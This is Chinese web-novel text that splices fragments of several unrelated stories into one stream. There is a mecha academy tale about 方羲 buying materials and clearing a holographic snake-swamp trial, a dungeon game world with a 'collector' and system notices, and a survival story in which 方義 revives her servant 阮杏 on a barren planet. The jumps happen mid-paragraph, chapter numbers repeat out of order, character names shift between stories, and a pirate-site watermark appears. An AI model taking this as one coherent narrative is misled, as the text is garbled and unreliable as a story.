顾妗雪和周忱，据从方羲观察，两个人一个愿打一个愿挨，顾妗雪打他，周忱爽死了。 眼下他机甲和武器都坏了，还呲着大花牙，高兴的不得了。 “考试怎么样？” 顾妗雪上前，挨着方羲坐下。 方羲从校服里面的衣兜里面掏出来一个青色小本本。 “拿下。” 她脸上带着笑意晃了晃。 “恭喜今天成功领证”，童薇拍了拍手，可爱娇小的面孔朝方羲的位置蹭了蹭，“羲羲等下跟我们一起吗？我们去买材料，然后去买精神体喂养剂。” 精神体喂养剂，是专门针对精神体研发的供能营养液，在能量场中需要长时间释放精神体的环境下，精神域供能不足以支撑，需要外来供能，帮忙维持精神体的形态稳定。 “可以啊，不过我下午三点多有事，到时候我先走。” 方羲带过要去做精神觉醒检测的事情。 材料市场连带着精神体喂养剂售卖点，还有生物市集，以及其他的零售，在谕光星白夜区的市中心。 方羲手上的资金被划算成了三部分，先是一些基础材料，准备做成机甲零件，可以挂靠到星网店铺售卖。 一部分是做生活费用，另一部分购买了部分机甲骨架需要用到的原胚。 原胚是开采出来，未经打磨的矿石，比起材料来说价格更加便宜，就是打磨需要花费许多的功夫，如果处理的手艺不好，很容易毁掉原胚的质量。 方羲并不担心这些，她挑选了几种需要的原胚，在机甲的造价清单上看了看。 骨架还差一种最重要的材料。 可以用太羲砂，方羲想道。 这种材料能够最大限度的减少机甲重量带来的笨重感，发挥驾驶者本身的速度增益。 它本身的价格不算最贵，只是很少见，据方羲了解，整个第四星环，只有外围的卡玛星，有太羲砂售卖记录。 方羲购物完，在材料市场的人群中，找到了散落的几人，看成维的红毛最显眼，便先去和他会和。 成维和校队那个高个健硕的单兵，站在人群里，看着目前的金属旋转台，上面一个穿着考究西装的男人，带着黑色圆帽，一本正经的介绍手上的原胚。 方羲听了一嘴，竟然吹嘘说是金刚不碎，甚至能击穿石乳天牛的外壳。 石乳天牛是3S级能量场［静河倒流］的能量体，他的外壳极其坚硬，光剑难以打破，即使是威力最强的蓄能炮，也只能在上面留下划痕。 因为石乳天牛并没有脱离进化体系，完全能量化，他的外壳可以在石乳天牛死后，保存下来。 但这种材料也格外昂贵，有市无价。 现在他竟然宣称，区区一块合成材料，能够击碎石乳天牛的外壳 “你们信了？” 方羲左右看了看，见到成维和普罗兴致勃勃的盯着，不由得在两人身后，真诚的发问。 成维被这声音吓得一惊，打了个哆嗦，“怎么可能，这鬼话听听算了。” 秦淮月至始至终沉静内敛的神情，罕见地露出一丝震撼。 在星航场无需眼睛和替行者战斗时。 在巨蛇列车无需警惕异端袭击时。 在收藏家主动坠落高空、失去造梦家增益的濒临死亡之时。 猎人们很少在战斗中过多的思考，也不会怀疑眼睛的决策。 他们并非没有察觉收藏家身上的种种疑点，种种怪异举动之下所缔造的诡异力量。 但都在默契地、刻意地忽略着。 人偶师这一次不再使用无形无色的丝线。 将本应该隐藏的造梦能力，轻慢地揭开隐形的幕布。 就让她的造梦场覆盖三百三十三层好了，这样肯定能很快找到真正的根系吧。 她才懒得刻意隐藏，无聊。 第 70 章 第 70 章 收藏家口中的升级是什么意思？ 她为什么轻轻放过明显是敌人的异端？ 被命名为“晨乌”的傀儡，居然与收藏家的造梦领域在同步运行？ 真的有人类能够维持这种巨大的灵魂消耗吗？ 无数纷杂的念头在秦淮月脑海中飞速掠过，她脸上带着难以置信的错愕，但手中的长枪并未因此停止挥动。 身经百战的秦淮月，并不会因为眼前这场极有可能发生的胜利，而像无知无觉的新兵那样，停下攻击的举动。 更何况……收藏家的伤口并未在这幻梦般的一瞬得到修复，依然留着血。然而本人却像是失去痛觉一样，挂着微笑，对自己身体和灵魂的痛苦毫无所觉。 门口的引导大树后，商店简单分为提取液、动植物提取物、矿物以及工具四个展柜区域。 方羲走进离得最近的提取液专区。 区域中心悬浮着一座虚幻的大陆，陆地上迷你人形机甲小队正追逐缩小的变异生物。有的小孩子看不懂材料，却能趴在旁边为冒险成功欢笑加油，好像真看了一场有趣的冒险游戏或表演。 星际除了虫族，异兽异植也是机甲战斗的重要目标。多年处理下来，一部分变成了材料养殖基地，一部分难以完全控制和人工养殖的，从灾难变成了圈养起来的材料星球，每年都有机甲小队深入探险，猎杀采集到材料，赚一笔不菲费用。 这样的模式方羲已经见怪不怪，修仙界获取材料也差不多是这样。 商店里所有材料都存放在透明墙后，墙壁上播放着对应材料的全息图像，全方位展示材料等级、性状、一般用于哪部分机甲设计，为刚进店的年轻机甲师们提供参考。 一瓶瓶提取液流转着独一无二的瑰丽光泽，根据不同储存条件密封在瓶子里，整齐码在梯形支架上，充分展示自己的状态。 乍一看，如一瓶瓶符墨堆积成山，方羲顿感亲切。 方羲神识外放，缓步走过展柜，仔细探查里面提取液的状态。果然，并不是只有大赛提供的那部分材料才有灵气。 一瓶瓶提取液内灵气氤氲，清晰可见，甚至不需要方羲深入提取液瓶内查验。 不特意引动提取液内灵气，并不会对这些材料造成影响。方羲经手的符墨没有一万瓶也有几千，神识掠过，材料分毫未损。 瓶壁印有机甲协会标志，下方小标签写着材料等级、提取时间、材料提取师等级。 就像修仙界中，大城商行货物总是比小城精美繁多。萤火星材料商店看起来东西很多，仔细一看，展出的绝大部分材料都是最低的E级，少量D级C级，再往上的材料只有几个名牌和图像介绍，备注“若需要高等级或对材料处理程度有要求，可联系协会定制购买”。 赛场上见过了的雨光草提取液、焰虫提取液，新见到的霜白提取液、风竹提取液…… 放眼看去，除了形态和名字有些改变，材料都是方羲认识的。 符修丹修炼器师都是修仙界著名富裕修士，方羲身为年轻一代第一人，更是富豪中的富豪，什么稀罕材料没见过？ 可今时不同往日，落到科技侧的星际世界里，看到熟悉的材料，方羲艰难咽了咽口水。 啊……都好想要。 念头刚冒出来，看了眼标签下的价格，方羲面无表情将不切实际的幻想摁灭。 还完债，奖金到手还剩七万九千星币。听起来是挺大一笔钱，以她之前一个月五百星币房租算，能用很久了。 但账不是这么算的。 机甲行业受追捧，也相当烧钱。以机甲材料画符，同样烧钱。 最低级的材料基本都已经成功养殖，价格都在一万星币以下。D级一到五万，C级十几万上下。更高级的B级以上材料，不仅昂贵稀少，几百万上千万不等，还需要考过机甲师等级评定才有资格购买。 萤火星商店里唯一一个摆了陈列架的C级提取液展柜，现在里面已经空了。 展柜背景墙上全息图像还播放着，方羲结合星际记忆，一眼认出了上面的大蚂蚁。 这不是宝石蚁吗！ 金宝石蚁外形有些像蜜罐蚁，都是腹部格外大，储存着大量物质。但金宝石蚁个头比蜜罐蚁大很多，足有拳头大，啃噬各色矿石，长出锋利的甲壳肢节，群居金宝石蚁杀伤力极强。 修仙界的金宝石蚁不全是金色，根据食用的矿石会有不同色彩偏光和微弱特性差异，品相最佳的当属灵石喂养。 星际世界不指望它能吃到灵石，但也是罕有的温和且灵气丰富材料，正适合方羲拿来为自己画符疗养。 机甲大赛初赛只要求竞速，对机甲状态和改造部件情况都没有要求，给机甲画符不需要考虑符箓生效后机甲的状态。但给自己用，方羲如今身体又这么差，经不起大力出奇迹，自然是越温和越好。 可惜，地方偏远就是这点不好，有点好东西也早卖掉了。 虽然……一瓶金宝石蚁提取液要三十万，是C级提取液里最贵的一批。就算提取液还在，方羲余额x4也完全买不起。 展厅中央全息大陆上的机甲狩猎剧情已经换了个新故事。 买不起也买不到，方羲摇摇头不再眼馋好材料。以修仙界的经验，直接去材料星球猎杀或者找机甲小队购买，应该也是一条路，没有中间赚差价可能更便宜。但方羲如今谁也不认得，只能以后再找靠谱的合作方。 看过高级材料，再看剩下的普通材料，方羲罕见地迟疑起来。 不是不想买，是可以买的太多，选不出来……要是有品质极佳、极合适的材料，也就不纠结了。 方羲恋恋不舍瞄了眼空的C级展示柜，材料商店东西好是好，唯一的问题就是贵。 算了，矮子里面挑高个，没有高级材料，还是买雨光草提取液。 无他，便宜好用。实在不行，多买几份仔细处理后用。 方羲刚要拿出光脑扫描付款，忽然听到身后一阵骚动。 “商店特价处理！” “哇？？？是什么是什么？快去看！” “特价”两个字总是让人难以抗拒，逛商店的机甲师们迅速竖起耳朵，方羲也一样。 展厅内播放着机甲战斗故事的全息大陆，眨眼间换成了投影广告，“C级金宝石蚁提取液， 金宝石蚁提取液性状稳定，但这瓶提取液保存时间已超过保质期，材料商店绝不欺瞒大家，忍痛降价做废品处理，原售价三十万星币，仅剩两瓶，限时1折！1折出售！ 现在光脑扫描下方编码，先到先得！” 广告投影出的金宝石蚁提取液状态，和宣传暗示的一样好，粘稠透明的液体在瓶子里摇晃，微微挂壁，像流淌的金色蜜糖。 方羲眼前一亮。 她看中的C级提取液原来没卖掉！峰回路转这不巧了吗，降价后她刚好买得起！ 广告还在播放，其他人还没动静，方羲飞快摸出光脑，眼睛都没眨一下，一秒付款。 “温和无伤害，适合协助处理异兽皮肤、筋络、丝线等机甲材料，即使机甲师精神力不足，也可以越级使用的提取液！材料提取师、有需求教学辨别过期提取液性状的机甲师，买到就是——呃。”广告突然卡了一下，展示中的提取液图像闪了闪消失。 主持人的声音有些不敢置信，“感、感谢大家的参与，金宝石蚁提取液已售出……” 大厅中央的广告画面重新切回冒险故事，前后不到一分钟，机甲师们面面相觑： 还没介绍完怎么就有人付款了？ 机器人滚动到方羲面前，机械臂托着打了金色蝴蝶结的透明包装盒递给她，两瓶巴掌长的细细试管躺在泡沫垫里，稳稳卡住不会乱动。 “感谢您的购买与支持，欢迎下次光临~” 方羲抽了抽嘴角：这速度，是生怕她反悔退款？ 机器人甜美的声音吸引来其他机甲师的注意，立刻发现方羲正是秒掉材料的人。 年纪大些的机甲师忍不住皱眉提醒，“小姑娘，你别被广告忽悠了，以为它‘稳定’看起来没变质就还能用。金宝石蚁提取液有个致命缺点，保质期很严格，超过保质期就绝对不能用了！ 别看它刚过期的时候看起来和正常一样，但是刚过期这一周是最危险的，不仅不温和，还会严重影响其他材料，跟有毒的雨光草似的！过期再久点，才会变色看出明显不同。” 其他人也担心地直抽气，“啊？难怪降价呢。这不是忽悠没经验的人吗！小姑娘没经验，图便宜买得太快了，该多想想的！” 方羲没被人云亦云带跑偏，探出神识在包装盒里转了一圈，惊喜地发现，提取液里沉积的灵气被唤醒慢慢活跃起来，正是用来画符的好时候！ 过去收到宝石蚁，还需要处理它腹部储存的液体，放几个月才能用。偏偏处理后只有短短的七天最佳使用时间，超过后灵气就会慢慢散尽，变得像白水一样。但这两瓶提取液，她到手就能用！ 想想方羲就明白了，星际和修仙界对材料的认知和定位不同，最佳使用时间自然不同。 就像雨光草，被认为垃圾，只是放错了地方，星际暂时不会用而已。 机器人一板一眼回应质疑，“本店所有商品均通过协会检测合格，销售时进行详细介绍，售出视为已知晓，除商品质量问题，概不退换。” 老道的机甲师对它翻白眼，“你们卖得死贵，就知道免责甩锅！” 转向方羲，中年机甲师无奈道，“建议你别用，赶紧想办法转手，虽然肯定要亏钱，好歹比毁了你别的材料强。真想买金宝石蚁提取液，最好找熟人去材料星球现收，起码要用的时候保质期不会出问题。” 方羲笑着摇摇头，“谢谢您提醒，不过我就是要这个阶段的提取液。” 中年机甲师看着方羲带着提取液离开，摇摇头，“年轻人不撞南墙不回头，不知道所有教训都是血和钱堆出来的，唉，又有台机甲要报废了。” 方羲差点笑出了声。 六万星币买两瓶最佳状态的原价三十万材料，她赚大了！ 【外壳层数：第一层至第三百三十三层】 【根系层级名称：食人鱼的海洋乐园】 【根系本体：孕育低危副本的蒲公英种子】 【在失乐园中，共有26034个低危副本出自蒲公英种子的孕育。由于其根系死亡，它们也将在30分钟之内，彻底失去所有生命力。】 【温馨建议，部分游戏区域由于低危副本密集度过高而废弃。但现在，系统检测到相关区域已被彻底净化。】 【各位玩家，可以考虑将该游戏区域重新启用。】 “两……两两两两万多个低危副本被同时通关？” “不对！重点是这个副本怎么会有这么多层外壳！三百多层，简直闻所未闻！” “我们怎么没听说过最近有什么大活动？这种高危副本不是应该公示出来的吗？” “十三号你能不能说人话！！！哪个大型副本，哪个玩家做的你倒是说啊？？！！关键时刻打什么谜语？” 专属系统们同时被无数玩家疯狂骚扰，不胜其烦。 001号系统终于接收到来自比它更高一级存在的消息，数据库宕机了一瞬，才将最后的关键信息向其他系统传输。 十三个质感完全不同的机械音，在此瞬默契地达成重叠。 【副本参与玩家：非专业收藏家、银月】 【副本替行者：晨乌】 …… 【根系绞杀者：非专业收藏家】魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第 71 章 第 71 章 因为突如其来的系统通知，很多首席玩家才得知收藏家亲自带队，前往一个连黑天鹅管理者、十三个专属系统也无法辨别其危险性的副本。 “（痴呆的笑）（此人已疯）” “清醒一点，虽然没被收藏家选上，但你也不至于这副傻样吧。” “难怪这几天没看见那些家伙的人影，本来以他们的实力，任务时间应该是错开的……原来是被收藏家带走了。” “我我我我现在好紧张！这简直比我自己出任务还紧张！收藏家啥时候回来啊？楚长官那边也没什么消息。” “说到这个，她们好像在开紧急会议。” 【地点：浮空岛核心区第八层】 【时间：星历2515年9月7日】 全息训练室内只有一台全息舱，躺下后，整个人像跳跃入异度空间一样。 在巨大的圆形指引台面前，围满了层层叠叠的人群。 方羲在光脑上找到军训界面，先去做完了军训项目，退出去了主页。 全息板块内，除了‘公共区域’、‘学院-军训（待完成）’两个内容，还多出了‘能量场（觉醒模式可进入）’、‘赛事（测试）’。 方羲点进赛事，首先是一块硕大的任务大厅面板，上面是长篇大论的赛事介绍，下方是选择作战人数。 她首选了单人模式。 一阵炫目的白光过后。 方羲被投入了丛林模拟环境之中。 她抬眼望去，黑色的树木毫无规律的栽种，地面是滚动的黑土，沸腾一样冒着气泡。 面前出现一行指引示的白字。 “单人模式：时长通关检测” “你随机到的是：S级能量场蛇沼” “请确定蛇群中的主S级能量体，以最短时间通关，通关纪录创造者，将获得：定制个性化机甲。” 方羲眼眸一动。 什么东西？“藏的还挺深。” 方羲观察着起伏滚动的地面，泥沼之下，的确很像蛇的躯体，她眼神闪过一抹流光。 周围的黑雾流向被看得格外清晰。 绿色的光辉从机甲上飘浮起来，那光芒小的可以忽略不计。 方羲抬起闪爆炮，在泥沼的几处定点轰击。 见到黑土翻滚的弧度更厉害，心里不禁有了决断。 蛇群中的主S级能量体。 可不一定是蛇。 泥沼之中，再度探出许多的幽光，蛇信子吐出收回的细响再度响起。 方羲在仅存的黑色树木之间穿梭，身影疾驰，蛇群扑向机甲，只能抓到发动液的尾气。 闪爆炮沿着泥沼的滚动痕迹，一炮一炮的轰击在黑土之中，被黑色泥土吞没，然后炸开，腥臭的泥土宛如炸开的粪便，难闻的味道充斥在空间。 方羲被熏得难受，闪爆弹几发接连打出，确定大概深度，等到四五发同时砸出一个深坑，再也没有黑色泥土飞溅，只有浓郁的黑气冒出来。 她抓住这个机会，飞快朝正在快速愈合的泥土深坑中，长枪瞄准，直直刺下。 长枪被掷出，机甲紧随其后，巨大的脚掌踩在长枪一端，将其猛地穿透深坑之下。 蛇群朝机甲的位置猛地扑过来。 方羲闪身一避，手握住长枪，倾斜角度，将枪头斜着划开泥沼，划入两米长，她上挑枪头，巨力一捅。 长枪贯穿黑色沼泽，从几米远的前方刺出。 泥沼煮沸的声音停息，在表面被吹起的气泡炸开，扑向机甲，缠在方羲机甲手臂上的黑色金环蛇，宛如蒸发一样消失。 黑色的树木被泥沼融化吞没。 长枪穿透泥沼的一段，尖锐锋利的银白色枪头的顶端。 一颗黑色晶石被嵌入。 白字伴随着消失的全息影像出现。 “恭喜通关” “用时13分24秒17，排名：1” “您的奖励已发放，请于个人中心领取” 单人赛场消失，方羲从机甲中脱离，又回到了任务大厅。 在全息舱内简单了解了比赛情况，目前开放的只有单人模式，双人模式和五人团练还未开启。 方羲挑了挑眉，点开自己的个人中心，查看了一眼。 她对这个所谓个性化机甲还是挺感兴趣的，不过，方羲疑惑的想道，这么容易就得到了吗？ 说好的排名，这么简单？ 这股狐疑直到她看到了躺在奖励列表的，虚拟机甲外壳。 突然懂了。 原来不是真的啊喂！ 用虚拟机甲来骗人破纪录。 全息战场你真是好样的，方羲气得发笑。 看到那个自定义设置的机甲，方羲叹了口气。 虚拟的也行吧，就当是模拟一下，先设计好自己的机甲。 她专注的在自定义机甲材料面前坐下，手上开始建造机甲骨架。 全息战场中的机甲建造，比起现实要简单的多，找到相应的材料，点击组装，就能够合成机甲。 没一会，散落的机甲材料，被合成一架脚踩荆棘纹路的绿色机甲，机甲左肩上扛着枪炮口，右手拿着一把黑铁长枪，枪头中央镂空，一根旋转伸缩的柳叶刀片在其中急速旋转。 机甲建造信息存档。 方羲满意的拍了拍手，抬头看了眼高大的，按照她曾经的战斗机器的金属武器复刻，眼里露出一点怀念，更多还是期待。 好，新的目标已经出现，余额怎能停滞不前。 拿到维修师证后，就先搞钱，把机甲造出来。 立下壮志后，眼看夜深，方羲结束训练，回到寝室。 顾妗雪还没回来，方羲朝窗台看了一眼，萝卜苗隐约有边缘泛黄的情况。 她伸手，朝萝卜苗的叶片上轻触片刻。 一抹绿色光点，哪怕在漆黑的夜色下，也不明显的亮着，落在叶片上，融入泛黄的边缘，然后透出淡淡的绿意。 方羲深绿的瞳孔有些晦涩的看着这一幕，桃林里变化的果实，突然出现的植物香气，全息训练场上异样的感知…… 让她不得不怀疑，精神觉醒正在进行中。 想到这里，方羲不免有些激动。 她略过生活管家打招呼的话语，快速收拾好，开始在光脑上查询最权威的精神觉醒检查的医院。 今天的入账让方羲手头的资金宽裕不少，做完检查后，几乎没有剩余。 定制个性机甲？ 她吸了一口气，手掌握紧。 全息这么大方？ 这很难不心动啊。 下一步弹出挑选机甲和武器，方羲拿到了自己最趁手的长枪。 为了定制个性机甲，冲了！ “计时开始” 全息系统发出播报，发动机液烧到滚烫，幽蓝的金属怪物在黑雾之中行走。 黑色森林传来爬行的窸窣声，随着她踏入丛林，一双双幽亮的竖瞳，从覆盖在里面的黑色腐烂的叶片中冒出来。 手腕粗的长蛇，爬行速度极快的朝着方羲的位置，猛地伸出蛇信子。 “嘶！” 一团黑色雾气从它的獠牙间吐出。 黑雾粘在机甲上，机甲外壳被烧灼，方羲感受到右侧上臂传来的痛感，对毒雾的杀伤力大致了解。 S级能量场截取了部分实际场景，主S级能量体，就是支撑这一部分能量场的能量来源。 只要杀了主能量体，能量场就会消散。 一般分析师能够通过能量体本身的能量波动，确定主能量体的位置。 方羲不是分析师，但也能解决。 ——找她是找不到，都杀了能试试。 周围的蛇群相继冒头，一段段毒雾朝着她的位置喷射出来。 方羲机甲在地面一点，整个人腾空，机甲推动闪避，错开毒雾范围。 手上的闪爆炮轰出一连串的火花，朝着四周三百六十度无死角轰出。 最前面一排的蛇尸倒下，被泥沼升起的沸腾气泡包住，转瞬便成了一缕烟。 一层过后，另一圈更庞大的蛇群继续朝着方羲逼近。 她机甲在圆心上方，一条树干一样粗的黑色金环蛇从泥沼中冒头，突兀的冲出来。 整个蛇身半立，张开獠牙，蛇信乱舞，黑雾随着它一同，朝着半空的机甲咬下。 “刺——” 银白的长枪顺着它张开的巨口刺下，机甲飞快的洞穿蛇身。 扬手朝周围一甩，将丛林之中的某方向的蛇群全部扫出去。 方羲启动机甲，一边朝着一侧放出闪爆炮，机甲闯入另一侧。 她的脚掌没有落在泥沼上，而是在黑色树木之间踩踏借力。 看似繁茂的黑色树木，宛如色厉内荏的纸老虎，只轻飘飘一脚，竟然应声而碎，倒在泥沼之中。 方羲没有回头看，长枪在地上横扫，挑起一排的长蛇，疾驰到侧方，尖锐的枪头猛的刺下。 宛如烧烤串一样，洞穿血肉之躯。 朝身后一挥，长蛇被甩下，被泥沼吞没。 方羲一手闪爆弹防备另一边，一手长枪如同清扫般，一排排的长蛇倒下。 等到黑雾之中的眼睛全部暗下去，一股危机感从心底浮起，几乎是下意识的。 她在最近唯一一颗完好的黑树上，脚一踩，机甲推动，机甲于是凌空起来。 匆忙间向下望了一眼。 黑色泥沼中的气泡汇聚成一团，在她站立的地方鼓出一个庞大的透明圆球，黑雾充斥在里面。 如此庞大的能量，一眼就能猜到是S级能量体。 ‘也不知道收藏家能不能顺利回来……’ 踏樱的心脏忽然扑通一跳，瞳孔微微瞪大。 “呃、呃……应该是我瞎想太多了。”踏樱自言自语道，竭力控制着自己思绪不去往深处思考。 “就是错觉！我果然就是想太多了……” “不对啊！” 专属系统茫然地看着踏樱在个人空间的小屋内，诡异地来回踱步，仿佛深陷一个世纪未解之谜。 第 72 章 第 72 章 身处副本之内的方羲，对外界的变动一无所觉。 在这三百三十三层异端外壳崩碎之后，她们二人还有猫猫，很快来到缓冲的过渡带，一个普通平凡的公园。 这里还算安全，尽管仍然存在一些异端，像是吃人的灌丛、凶神恶煞的路人、与绿色融为一体的毒蛇。 但它们都忌惮着入侵者身上古怪的力量，不敢主动招惹。 方羲找到公园的一个亭子，猫猫率先从她身上跳下，蹲坐在椅子上，尾巴轻轻扫过搭建路椅的石头。 【一旦坐下就无法起身的无辜路椅】 出来了！她终于出来了！ 方義激动得眼睛都湿了。 但没了逃生舱的覆盖，炙热的阳光更加明显，照在身上火辣辣的。 沙子也非常烫脚，呼吸都是滚烫的。 太难了！真的太难了！ 从五芒星吊坠空间器里取出了一瓶水，方義咕嘟咕嘟喝了大半瓶，干渴的喉咙才稍微舒服了些，但胸腔还是闷闷得疼。 明明【恢复药剂（九阶）】上面的介绍写的是满血复活，原身身上的伤也都治愈了。 身体内部却还是十分的虚弱，有一种力不从心之感。 方義叹了口气，也没想太多，休息了几秒就小跑到另外的那个逃生舱旁边。 里面躺着的是一直照顾原身的管家，名字叫阮杏。 说是管家，其实只比原身大几岁，和她一起长大，就像姐姐一样，感情很深。 这次流放，也是阮杏主动提出要陪原身一起。 要是没有她无微不至的照顾，原身都不一定能熬到上星舰。 “杏子姐！杏子姐！”方義扒着逃生舱喊了两声，皱了皱眉。 阮杏的状态很不好，脸色苍白得没有一点儿血色。 呼吸微不可闻，只有胸口极其微弱的起伏证明她还剩下最后一口气。 载着她的逃生舱也在坠落的过程中损坏了，表面布满了裂痕，开启的按钮凹陷下去，失去了作用。 方義如法炮制，用黑色的撬棍撬开了逃生舱，扒拉开碎片，趴着身体钻了进去。 【恢复药剂（九阶）】还有九瓶，方義也不吝啬，直接给阮杏喂了一瓶。 幸好，昏迷的她还有基础的吞咽反应。 在【恢复药剂（九阶）】的作用下，阮杏的脸蛋肉眼可见地恢复了血色，微弱的呼吸也逐渐变得正常。 她的睫毛颤了颤，缓缓地睁开了眼睛。 “小姐……”阮杏的声音有点儿哑，眼神茫然，显然是还没有反应过来发生了什么。 “哎，杏子姐，我在呢！”方義应了一声，观察着阮杏的神色，试探着问：“杏子姐，你感觉怎么样？” “我……我没事……”阮杏迟疑着回答，大脑逐渐清醒过来。 星舰……星际风暴……逃生舱出错…… 一幕幕情景在脑海里回现，阮杏霎时白了脸，下意识反抓住方義的手，猛地抬头看向周围。 “这……这里……”看到破碎的逃生舱时，阮杏的声音都在颤抖。 “没事的，咱们应该是安全了。”方義解释道。 安全？怎么可能安全！ 阮杏的嘴唇颤颤巍巍的，哆嗦着说不出话来。 她不是傻子，很快便明白究竟发生了什么。 逃生舱损坏成这样，她怎么可能毫发无伤！ 嘴里甜滋滋的味道无疑佐证了她的猜测，是小姐给她喂了极为宝贵的恢复药剂。 她……她怎么值得！ 明明保护小姐该是她的责任，现在非但没起到任何作用，反而拖累了她。 “妈准备了好几瓶四阶恢复药剂。”既然拿出了药剂，方義早就想好了说辞。 原身母亲在空间器里放的东西，最为亲近的阮杏也只知道个大概，不知道具体明细。 这也就为方義的“暗度陈仓”提供了最好的掩护。 其实五芒星吊坠空间器里确实放了不少的恢复药剂，只是等阶都不高，最好的也只是几瓶四阶的。 阮杏伤得实在太重，加上她们所处的这个荒星条件实在恶劣，方義便选择了效果更好的签到物品。 东西虽好，但是性命最重要。 阮杏自是没有一点儿怀疑，眼睛都红了一圈：“小姐，那一定是夫人留给您用来保命的，怎么能给我用呢？这不是浪费吗……” “怎么可能是浪费？杏子姐，你难道不知道，你对我来说有多重要？” 看着阮杏眼泪汪汪的模样，方義的鼻子莫名有些酸酸的，话语几乎是脱口而出：“杏子姐，我只有你！我只剩下你了！” 说完方義自个儿都愣了愣。 她一直觉得自己和原身的记忆隔了一层，对原身父母和哥哥的感情都模模糊糊的，像是个局外人。 但对于阮杏，竟然是难得的真情实感，内心满满当当的都是下意识的信任和依赖。 难不成对于原身来说，“管家姐姐”阮杏竟然比父母哥哥还要亲近？ 心里留了个疑问，方義还没来得及想清楚，整个人就被阮杏一把抱入了怀中。 她悲切地哭道：“我可怜的小姐啊……” 唉，是挺可怜的！ 方義在心中叹了一声。 可现在不是哭的时候，悲伤痛哭也一点儿用都没用，反而白白耗费精力。 不如忍一忍，给身体省一点儿水分。 方義拍了拍阮杏的肩膀，安抚道：“杏子姐，别想那么多了，现在最重要的是先活下来。” 她们只是刚从死亡关头缓过来，可还没真正脱险呢！ “对！小姐您说得对！”阮杏抽抽噎噎地止住了哭声，泪眼朦胧的，满是心酸。 她可怜的小姐啊！本是金枝玉義，夫人疼宠的掌上明珠，怎么就落得如今的境地？ 夫人现在不在身边，她更得支棱起来，成为小姐的依靠，好好照顾小姐。 不然，怎么对得起夫人的救命之恩？怎么对得起小姐待她的好？ 阮杏的情绪来得快，去得也快。 而且，作为一名精心培养的管家，她堪称多才多艺。 星耀帝国的空间器并不罕见，只是大多数储存空间狭小。 像阮杏戴着的那个，就只有一立方米，放的东西不多。 原身的五芒星吊坠空间器则更大些，足足有二十立方米左右，价格也是十分高昂。 因为被流放，空间器里面的物资准备得很充足，一应俱全。 没一会儿，阮杏便成功地搭建起了一顶淡粉色的厚实帐篷，遮住了暴晒的太阳。 帐篷的角落放了一个浅蓝色的圆盆，中心镶嵌着一颗黄豆大小的水属性蓝曜石，起着降温清凉的作用。 方義坐在刚组装好的软椅上，乖巧地捧着瓶清水，看着阮杏一边做床一边清点物资，只想真诚地竖大拇指。 目瞪口呆.JPG！佩服得五体投地.GIF！ 真真是人不可貌相，海水不可斗量！ 阮杏的外貌是那种没有任何攻击性的清秀款，瓜子脸，看起来像是温温柔柔的邻家姐姐。 哀切哭泣的时候感情充沛，现在眼眶还有点儿红红的。 可是做起事来，那叫一个雷厉风行、心灵手巧，效率高得不行。 要不是她一直在旁边看着，压根不敢相信，这些只是她短短半小时内的成果。 “杏子姐，空间器里不是有睡袋吗？为什么还要搭床？” 阮杏忙活得热火朝天，方義也不好意思光坐着。 可星耀帝国的科技比她原来生活的时空先进了许多，方義很多都是一抹黑，认都认不出来。 而原身就更不用说了，千娇百宠的大小姐一个，十指不沾阳春水。 因此，她只能帮着递递东西之类。 就这样，还被阮杏心疼得不行，觉得她不尽职，让小姐吃了大苦。 她做的事儿，非但没帮上什么忙，反而影响了阮杏的工作效率。 方義：“……” 阮杏百忙之中抽空看了方義一眼，见她舒舒服服地坐着喝水，才满意地松了眉头。 “就算有睡袋，地上哪有床上睡得舒服？而且小姐你身体一向不好，更得好好养着。” 方義愣了愣：“我身体不好？” 记忆里，原身身体素质挺好的呀。 “啊？”阮杏微怔，眼神里划过一丝茫然，但也没多想，不确定地说：“可能是我记错了？” 她摇摇头，认真道：“不管小姐身体好不好，都得住得舒服，这里条件太差了。” 阮杏的性格整体柔软，但也有执拗的地方。 最坚持的一点，就是一定要好好照顾小姐。 “谢谢杏子姐！”方義是知道好歹的人，自然能明白阮杏的用心，不由有些羡慕原身。 真好啊，有那么多爱她、关心她、在乎她的人。 “杏子姐，咱们都这个情况了，你也别一直叫我小姐了，叫我名字吧。” 阮杏喊了一句：“阮软？” 阮软，是原身的名字，却不是她的名字。 方義垂眸，轻声道：“杏子姐，叫我方義吧。” “方義？”阮杏一怔，有些困惑，但很快理解了缘由：“是小姐为自己想的新名字吗？真好听！” “还是小姐聪明，咱们现在不比从前了，是得低调点，换个名字避免麻烦，那我要换一个吗？” “哎呀，我一时还真想不到合适的名字，要不跟着小姐换个姓，叫方杏？别说，方杏还真比阮杏好听……” 阮杏絮絮叨叨的，方義一直都安静地倾听着。 直到听到最后一句，她才开口道：“杏子姐，你不用考虑我的，用你自己喜欢的名字就好。” “我喜欢方杏这个名字。”阮杏的笑容很温柔：“而且平时，你都是喊我杏子姐，姓什么不都是一样吗？” 阮杏笑起来的时候有酒窝，并不对称，只有左边一个，点缀在唇边，显得十分柔软。 方義看着阮杏的那个酒窝，顿了顿，缓缓地点了点头。 多年孤儿生活，她终究是自私的，贪恋这一份独有的温柔。 为什么要拔它的毛！ 方羲诡异地沉默两秒，假装无事发生，把手里这团猫毛丢进皮箱，又从里面翻出列车司机的地图，摸摸趴在一边的猫猫，指了指第六百六十六层的地点。 【博士毕业的屠夫的图书馆】 “喵喵！” 猫猫立刻明白了人偶师的意思，自信满满地喵喵叫。 “这屠夫的学历……居然还能升级。”方羲的脸色略显怪异。 她记得之前有个【只有小学毕业的屠夫的图书馆】来着。 第 73 章 第 73 章 屠夫是一只智商绝顶、且具备无限成长性的大异端。 它深谙人类之道，熟读《论星际通用语的正确使用》《和人类对话的正确方法》《如何优雅而不失礼仪地阴阳讨厌的上司》《西装领结的9种打法》《人皮面具怎么穿》《夏天应季水果切法》《人类菜谱大全（内附详细教程）》…… 屠夫似乎还有一点洁癖，当人类时间钟表转到清晨六点，它又一次指挥起这些长着小翅膀的书籍，给自己的地盘进行清理。 它的地盘是一棵支撑天地的世界树。 作为一名博学多才的大异端，屠夫深刻秉承着包容开放的理念，它的巨型图书馆专门接收被其他大异端抛弃的可怜细胞。 屠夫端庄地坐在一圈环形书架最中央，高贵冷艳地翻阅着新上市的人类书籍。 这次的签到物品中规中矩，是【明目草（二阶）X10】。 方義后面又签到了一次，还是同样的物品。 然后，【签到地——明目草（二阶）生长地】便消失了。 没错，不是重置，而是消失，白色的光点直接不见了。 方義：“……” 方義心下叹息，为这逝去的签到地哀悼了一秒钟，然后果断地抛弃了旧地，前往了新的签到地。 